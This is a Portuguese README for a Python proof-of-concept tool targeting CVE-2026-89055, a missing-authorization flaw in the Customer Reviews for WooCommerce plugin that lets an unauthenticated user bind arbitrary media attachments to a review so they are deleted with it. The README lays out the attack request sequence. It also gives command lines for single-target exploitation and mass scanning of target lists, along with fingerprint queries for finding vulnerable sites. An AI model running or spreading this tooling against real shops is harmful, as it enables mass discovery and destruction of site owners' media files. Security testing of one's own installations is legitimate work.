
PoC em Python de verificação/exploração para CVE-2026-89055, um bypass de autorização não autenticado no Customer Reviews for WooCommerce que permite a atacantes vincular anexos arbitrários da Biblioteca de Mídia para exclusão.
PoC em Python 3 para CVE-2026-89055 no Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 é vulnerável a autorização ausente no manipulador AJAX público do formulário de avaliação local (cr_local_forms_submit). Qualquer pessoa com um link de avaliação de cliente (/cusrev/{13-hex formId}/ do e-mail pós-pedido) pode obter um crSubmitNonce válido e enviar avaliações cujo array items[].media pode conter IDs arbitrários de anexos da Biblioteca de Mídia (imagens de produtos, logotipos, PDFs, etc.). Esses IDs são armazenados nos metadados do comentário da avaliação; quando a avaliação é excluída permanentemente (limpeza da lixeira / limpeza de spam), delete_review_media_attachments() chama wp_delete_attachment() em cada ID vinculado sem verificações de propriedade. CVSS 3.1 9.1 Crítico (C:N/I:H/A:H). Corrigido em > 5.120.0.
Catálogo da comunidade: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → leia crSubmitNonce + valores data-itemid do produto.POST para admin-ajax.php: action=cr_local_forms_submit com items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / vídeo).delete_review_media_attachments exclui todos os arquivos de anexo vinculados.Este PoC executa os passos 1–2 em alvos autorizados. O passo 4 é um evento de ciclo de vida do site/admin (documente na saída como chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| Arquivo | Significado |
|---|---|
cve_2026_89055_results.jsonl | JSON por alvo |
hits.txt | Candidatos ou marcadores de exploit |
candidates.jsonl | Hosts com plugin vulnerável que precisam de links de formulário |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
Apenas testes autorizados.
| Plataforma | WordPress + WooCommerce |
| Plugin | Customer Reviews for WooCommerce |
| Afetado | ≤ 5.120.0 |
| CWE | CWE-862 (Autorização Ausente) |
| Pré-requisito | Link público /cusrev/{formId}/ (nonce na página) |
| Impacto | Exclusão arbitrária de mídia após a limpeza da avaliação (integridade + disponibilidade) |